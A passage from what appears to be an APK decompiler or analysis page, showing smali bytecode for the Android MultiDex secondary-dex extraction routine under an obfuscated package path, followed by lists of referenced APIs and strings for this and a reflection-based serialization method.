                                                489invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                490move-result-object v13
                                                491move-object v14, v2
                                                493invoke-virtual {v14}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                494move-result-object v14
                                                496invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                497move-result-object v13
                                                499invoke-virtual {v13}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                500move-result-object v13
                                                502invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                503move-result-object v12
                                                505const-string v13, ")."
                                                507invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                508move-result-object v12
                                                510invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                511move-result-object v12
                                                513invoke-direct {v11, v12}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                514throw v10
                                                Cross References
                                                APIs
                                                • java.lang.StringBuffer.<init>
                                                • java.io.File.getName
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.support.coreui.app.a.b.prepareDexDir
                                                • java.util.ArrayList.<init>
                                                • java.util.zip.ZipFile.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.util.zip.ZipFile.getEntry
                                                • java.util.zip.ZipFile.close
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.File.<init>
                                                • java.util.List.add
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getAbsolutePath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.IOException.<init>
                                                • java.util.zip.ZipFile.close
                                                • android.support.coreui.app.a.b.extract
                                                • android.support.coreui.app.a.b.verifyZipFile
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getAbsolutePath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.io.File.length
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.File.delete
                                                • java.io.File.exists
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.util.zip.ZipFile.getEntry
                                                • android.util.Log.w
                                                • android.util.Log.w
                                                Strings
                                                • .classes
                                                • classes
                                                • .dex
                                                • .zip
                                                • MultiDex
                                                • Extraction is needed for file
                                                • Could not create zip file
                                                • for secondary dex (
                                                • )
                                                • Extraction
                                                • success
                                                • - length
                                                • :
                                                • Failed to delete corrupted secondary dex \'
                                                • \'
                                                • failed
                                                • Failed to close resource
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/io/File;",
                                                4"Ljava/io/File;",
                                                5")",
                                                6"Ljava/util/List",
                                                7"<",
                                                8"Ljava/io/File;",
                                                9">;^",
                                                10"Ljava/io/IOException;"
                                                11}
                                                12.end annotation
                                                13.annotation system Ldalvik/annotation/Throws;
                                                14value = {
                                                15Ljava/io/IOException;
                                                16}
                                                17.end annotation
                                                18.prologue
                                                19move-object/from16 v2, p0
                                                20move-object/from16 v3, p1
                                                21new-instance v20, Ljava/lang/StringBuffer;
                                                22move-object/from16 v28, v20
                                                23move-object/from16 v20, v28
                                                24move-object/from16 v21, v28
                                                26invoke-direct/range {v21 .. v21}, Ljava/lang/StringBuffer;-><init>()V
                                                27move-object/from16 v21, v2
                                                29invoke-virtual/range {v21 .. v21}, Ljava/io/File;->getName()Ljava/lang/String;
                                                30move-result-object v21
                                                32invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                33move-result-object v20
                                                35const-string v21, ".classes"
                                                37invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                38move-result-object v20
                                                40invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                41move-result-object v20
                                                42move-object/from16 v5, v20
                                                43move-object/from16 v20, v3
                                                44move-object/from16 v21, v5
                                                46invoke-static/range {v20 .. v21}, Landroid/support/coreui/app/a/b;->prepareDexDir(Ljava/io/File;Ljava/lang/String;)V
                                                47new-instance v20, Ljava/util/ArrayList;
                                                48move-object/from16 v28, v20
                                                49move-object/from16 v20, v28
                                                50move-object/from16 v21, v28
                                                52invoke-direct/range {v21 .. v21}, Ljava/util/ArrayList;-><init>()V
                                                53move-object/from16 v6, v20
                                                54new-instance v20, Ljava/util/zip/ZipFile;
                                                55move-object/from16 v28, v20
                                                56move-object/from16 v20, v28
                                                57move-object/from16 v21, v28
                                                58move-object/from16 v22, v2
                                                60invoke-direct/range {v21 .. v22}, Ljava/util/zip/ZipFile;-><init>(Ljava/io/File;)V
                                                61move-object/from16 v7, v20
                                                62const/16 v20, 0x2
                                                63move/from16 v12, v20
                                                64move-object/from16 v20, v7
                                                65try_start_4e: new-instance v21, Ljava/lang/StringBuffer;
                                                66move-object/from16 v28, v21
                                                67move-object/from16 v21, v28
                                                68move-object/from16 v22, v28
                                                70invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                71new-instance v22, Ljava/lang/StringBuffer;
                                                72move-object/from16 v28, v22
                                                73move-object/from16 v22, v28
                                                74move-object/from16 v23, v28
                                                76invoke-direct/range {v23 .. v23}, Ljava/lang/StringBuffer;-><init>()V
                                                78const-string v23, "classes"
                                                80invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                81move-result-object v22
                                                82move/from16 v23, v12
                                                84invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                85move-result-object v22
                                                87invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                88move-result-object v22
                                                90invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                91move-result-object v21
                                                93const-string v22, ".dex"
                                                95invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                96move-result-object v21
                                                98invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                99move-result-object v21
                                                101invoke-virtual/range {v20 .. v21}, Ljava/util/zip/ZipFile;->getEntry(Ljava/lang/String;)Ljava/util/zip/ZipEntry;
                                                102try_end_85: move-result-object v20
                                                103move-object/from16 v13, v20
                                                104goto_88: move-object/from16 v20, v13
                                                105if-nez v20, :cond_96
                                                106move-object/from16 v20, v7
                                                107try_start_8e:
                                                108invoke-virtual/range {v20 .. v20}, Ljava/util/zip/ZipFile;->close()V
                                                109try_end_91: move-object/from16 v20, v6
                                                110move-object/from16 v2, v20
                                                111return-object v2
                                                112cond_96: new-instance v20, Ljava/lang/StringBuffer;
                                                113move-object/from16 v28, v20
                                                114move-object/from16 v20, v28
                                                115move-object/from16 v21, v28
                                                117invoke-direct/range {v21 .. v21}, Ljava/lang/StringBuffer;-><init>()V
                                                118new-instance v21, Ljava/lang/StringBuffer;
                                                119move-object/from16 v28, v21
                                                120move-object/from16 v21, v28
                                                121move-object/from16 v22, v28
                                                123invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                124move-object/from16 v22, v5
                                                126invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                127move-result-object v21
                                                128move/from16 v22, v12
                                                130invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                131move-result-object v21
                                                133invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                134move-result-object v21
                                                136invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                137move-result-object v20
                                                139const-string v21, ".zip"
                                                141invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                142move-result-object v20
                                                144invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                145move-result-object v20
                                                146move-object/from16 v14, v20
                                                147new-instance v20, Ljava/io/File;
                                                148move-object/from16 v28, v20
                                                149move-object/from16 v20, v28
                                                150move-object/from16 v21, v28
                                                151move-object/from16 v22, v3
                                                152move-object/from16 v23, v14
                                                154invoke-direct/range {v21 .. v23}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                155move-object/from16 v15, v20
                                                156move-object/from16 v20, v6
                                                157move-object/from16 v21, v15
                                                159invoke-interface/range {v20 .. v21}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                160move-result v20
                                                162const-string v20, "MultiDex"
                                                163new-instance v21, Ljava/lang/StringBuffer;
                                                164move-object/from16 v28, v21
                                                165move-object/from16 v21, v28
                                                166move-object/from16 v22, v28
                                                168invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                170const-string v22, "Extraction is needed for file "
                                                172invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                173move-result-object v21
                                                174move-object/from16 v22, v15
                                                176invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
                                                177move-result-object v21
                                                179invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                180move-result-object v21
                                                182invoke-static/range {v20 .. v21}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                183move-result v20
                                                184const/16 v20, 0x0
                                                185move/from16 v16, v20
                                                186const/16 v20, 0x0
                                                187move/from16 v17, v20
                                                188goto_10e: move/from16 v20, v16
                                                189const/16 v21, 0x3
                                                190move/from16 v0, v20
                                                191move/from16 v1, v21
                                                192if-ge v0, v1, :cond_11c
                                                193move/from16 v20, v17
                                                194if-eqz v20, :cond_1a1
                                                195cond_11c: move/from16 v20, v17
                                                196if-nez v20, :cond_29d
                                                197new-instance v20, Ljava/io/IOException;
                                                198move-object/from16 v28, v20
                                                199move-object/from16 v20, v28
                                                200move-object/from16 v21, v28
                                                201new-instance v22, Ljava/lang/StringBuffer;
                                                202move-object/from16 v28, v22
                                                203move-object/from16 v22, v28
                                                204move-object/from16 v23, v28
                                                206invoke-direct/range {v23 .. v23}, Ljava/lang/StringBuffer;-><init>()V
                                                207new-instance v23, Ljava/lang/StringBuffer;
                                                208move-object/from16 v28, v23
                                                209move-object/from16 v23, v28
                                                210move-object/from16 v24, v28
                                                212invoke-direct/range {v24 .. v24}, Ljava/lang/StringBuffer;-><init>()V
                                                213new-instance v24, Ljava/lang/StringBuffer;
                                                214move-object/from16 v28, v24
                                                215move-object/from16 v24, v28
                                                216move-object/from16 v25, v28
                                                218invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuffer;-><init>()V
                                                219new-instance v25, Ljava/lang/StringBuffer;
                                                220move-object/from16 v28, v25
                                                221move-object/from16 v25, v28
                                                222move-object/from16 v26, v28
                                                224invoke-direct/range {v26 .. v26}, Ljava/lang/StringBuffer;-><init>()V
                                                226const-string v26, "Could not create zip file "
                                                228invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                229move-result-object v25
                                                230move-object/from16 v26, v15
                                                232invoke-virtual/range {v26 .. v26}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                233move-result-object v26
                                                235invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                236move-result-object v25
                                                238invoke-virtual/range {v25 .. v25}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                239move-result-object v25
                                                241invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                242move-result-object v24
                                                244const-string v25, " for secondary dex ("
                                                246invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                247move-result-object v24
                                                249invoke-virtual/range {v24 .. v24}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                250move-result-object v24
                                                252invoke-virtual/range {v23 .. v24}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                253move-result-object v23
                                                254move/from16 v24, v12
                                                256invoke-virtual/range {v23 .. v24}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                257move-result-object v23
                                                259invoke-virtual/range {v23 .. v23}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                260move-result-object v23
                                                262invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                263move-result-object v22
                                                265const-string v23, ")"
                                                267invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                268move-result-object v22
                                                270invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                271move-result-object v22
                                                273invoke-direct/range {v21 .. v22}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                274throw v20
                                                275catchall_196: move-exception v20
                                                276move-object/from16 v8, v20
                                                277move-object/from16 v20, v7
                                                278try_start_19b:
                                                279invoke-virtual/range {v20 .. v20}, Ljava/util/zip/ZipFile;->close()V
                                                280try_end_19e: move-object/from16 v20, v8
                                                281throw v20
                                                282cond_1a1: add-int/lit8 v16, v16, 0x1
                                                283move-object/from16 v20, v7
                                                284move-object/from16 v21, v13
                                                285move-object/from16 v22, v15
                                                286move-object/from16 v23, v5
                                                287try_start_1ab:
                                                288invoke-static/range {v20 .. v23}, Landroid/support/coreui/app/a/b;->extract(Ljava/util/zip/ZipFile;Ljava/util/zip/ZipEntry;Ljava/io/File;Ljava/lang/String;)V
                                                289move-object/from16 v20, v15
                                                291invoke-static/range {v20 .. v20}, Landroid/support/coreui/app/a/b;->verifyZipFile(Ljava/io/File;)Z
                                                292move-result v20
                                                293move/from16 v17, v20
                                                295const-string v20, "MultiDex"
                                                296new-instance v21, Ljava/lang/StringBuffer;
                                                297move-object/from16 v28, v21
                                                298move-object/from16 v21, v28
                                                299move-object/from16 v22, v28
                                                301invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                302new-instance v22, Ljava/lang/StringBuffer;
                                                303move-object/from16 v28, v22
                                                304move-object/from16 v22, v28
                                                305move-object/from16 v23, v28
                                                307invoke-direct/range {v23 .. v23}, Ljava/lang/StringBuffer;-><init>()V
                                                308new-instance v23, Ljava/lang/StringBuffer;
                                                309move-object/from16 v28, v23
                                                310move-object/from16 v23, v28
                                                311move-object/from16 v24, v28
                                                313invoke-direct/range {v24 .. v24}, Ljava/lang/StringBuffer;-><init>()V
                                                314new-instance v24, Ljava/lang/StringBuffer;
                                                315move-object/from16 v28, v24
                                                316move-object/from16 v24, v28
                                                317move-object/from16 v25, v28
                                                319invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuffer;-><init>()V
                                                320new-instance v25, Ljava/lang/StringBuffer;
                                                321move-object/from16 v28, v25
                                                322move-object/from16 v25, v28
                                                323move-object/from16 v26, v28
                                                325invoke-direct/range {v26 .. v26}, Ljava/lang/StringBuffer;-><init>()V
                                                327const-string v26, "Extraction "
                                                329invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                330move-result-object v25
                                                331move/from16 v26, v17
                                                332if-eqz v26, :cond_299
                                                334const-string v26, "success"
                                                335goto_1fb:
                                                336invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                337move-result-object v25
                                                339invoke-virtual/range {v25 .. v25}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                340move-result-object v25
                                                342invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                343move-result-object v24
                                                345const-string v25, " - length "
                                                347invoke-virtual/range {v24 .. v25}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                348move-result-object v24
                                                350invoke-virtual/range {v24 .. v24}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                351move-result-object v24
                                                353invoke-virtual/range {v23 .. v24}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                354move-result-object v23
                                                355move-object/from16 v24, v15
                                                357invoke-virtual/range {v24 .. v24}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                358move-result-object v24
                                                360invoke-virtual/range {v23 .. v24}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                361move-result-object v23
                                                363invoke-virtual/range {v23 .. v23}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                364move-result-object v23
                                                366invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                367move-result-object v22
                                                369const-string v23, ": "
                                                371invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                372move-result-object v22
                                                374invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                375move-result-object v22
                                                377invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                378move-result-object v21
                                                379move-object/from16 v22, v15
                                                381invoke-virtual/range {v22 .. v22}, Ljava/io/File;->length()J
                                                382move-result-wide v22
                                                384invoke-virtual/range {v21 .. v23}, Ljava/lang/StringBuffer;->append(J)Ljava/lang/StringBuffer;
                                                385move-result-object v21
                                                387invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                388move-result-object v21
                                                390invoke-static/range {v20 .. v21}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                391move-result v20
                                                392move/from16 v20, v17
                                                393if-nez v20, :cond_10e
                                                394move-object/from16 v20, v15
                                                396invoke-virtual/range {v20 .. v20}, Ljava/io/File;->delete()Z
                                                397move-result v20
                                                398move-object/from16 v20, v15
                                                400invoke-virtual/range {v20 .. v20}, Ljava/io/File;->exists()Z
                                                401move-result v20
                                                402if-eqz v20, :cond_10e
                                                404const-string v20, "MultiDex"
                                                405new-instance v21, Ljava/lang/StringBuffer;
                                                406move-object/from16 v28, v21
                                                407move-object/from16 v21, v28
                                                408move-object/from16 v22, v28
                                                410invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                411new-instance v22, Ljava/lang/StringBuffer;
                                                412move-object/from16 v28, v22
                                                413move-object/from16 v22, v28
                                                414move-object/from16 v23, v28
                                                416invoke-direct/range {v23 .. v23}, Ljava/lang/StringBuffer;-><init>()V
                                                418const-string v23, "Failed to delete corrupted secondary dex \'"
                                                420invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                421move-result-object v22
                                                422move-object/from16 v23, v15
                                                424invoke-virtual/range {v23 .. v23}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                425move-result-object v23
                                                427invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                428move-result-object v22
                                                430invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                431move-result-object v22
                                                433invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                434move-result-object v21
                                                436const-string v22, "\'"
                                                438invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                439move-result-object v21
                                                441invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                442move-result-object v21
                                                444invoke-static/range {v20 .. v21}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                445move-result v20
                                                446goto/16 :goto_10e
                                                447cond_299:
                                                448const-string v26, "failed"
                                                449goto/16 :goto_1fb
                                                450cond_29d: add-int/lit8 v12, v12, 0x1
                                                451move-object/from16 v20, v7
                                                452new-instance v21, Ljava/lang/StringBuffer;
                                                453move-object/from16 v28, v21
                                                454move-object/from16 v21, v28
                                                455move-object/from16 v22, v28
                                                457invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuffer;-><init>()V
                                                458new-instance v22, Ljava/lang/StringBuffer;
                                                459move-object/from16 v28, v22
                                                460move-object/from16 v22, v28
                                                461move-object/from16 v23, v28
                                                463invoke-direct/range {v23 .. v23}, Ljava/lang/StringBuffer;-><init>()V
                                                465const-string v23, "classes"
                                                467invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                468move-result-object v22
                                                469move/from16 v23, v12
                                                471invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                472move-result-object v22
                                                474invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                475move-result-object v22
                                                477invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                478move-result-object v21
                                                480const-string v22, ".dex"
                                                482invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                483move-result-object v21
                                                485invoke-virtual/range {v21 .. v21}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                486move-result-object v21
                                                488invoke-virtual/range {v20 .. v21}, Ljava/util/zip/ZipFile;->getEntry(Ljava/lang/String;)Ljava/util/zip/ZipEntry;
                                                489try_end_2d8: move-result-object v20
                                                490move-object/from16 v13, v20
                                                491goto/16 :goto_88
                                                492catch_2dd: move-exception v20
                                                493move-object/from16 v18, v20
                                                495const-string v20, "MultiDex"
                                                497const-string v21, "Failed to close resource"
                                                498move-object/from16 v22, v18
                                                500invoke-static/range {v20 .. v22}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                501move-result v20
                                                502goto/16 :goto_19e
                                                503catch_2ec: move-exception v20
                                                504move-object/from16 v18, v20
                                                506const-string v20, "MultiDex"
                                                508const-string v21, "Failed to close resource"
                                                509move-object/from16 v22, v18
                                                511invoke-static/range {v20 .. v22}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                512move-result v20
                                                513goto/16 :goto_91
                                                Cross References
                                                APIs
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.ParameterizedType.getActualTypeArguments
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isPrimitive
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • out
                                                • (I)V
                                                • write
                                                • writeLong
                                                • (J)V
                                                • writeFloat
                                                • (FZ)V
                                                • writeDouble
                                                • (DZ)V
                                                • (Z)V
                                                • java/lang/Character
                                                • toString
                                                • (C)Ljava/lang/String;
                                                • writeString
                                                • (Ljava/lang/String;C)V
                                                • writeEnum
                                                • (Ljava/lang/Enum;)V
                                                • java/util/List
                                                • list
                                                • (Ljava/util/List;)V
                                                • writeNull
                                                • ()V
                                                • size
                                                • ()I
                                                • i
                                                • get
                                                • (I)Ljava/lang/Object;
                                                • list_item
                                                • java/lang/Object
                                                • getClass
                                                • ()Ljava/lang/Class;
                                                • list_item_desc
                                                • java/lang/Integer
                                                • valueOf
                                                • (I)Ljava/lang/Integer;
                                                • (L
                                                • ;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
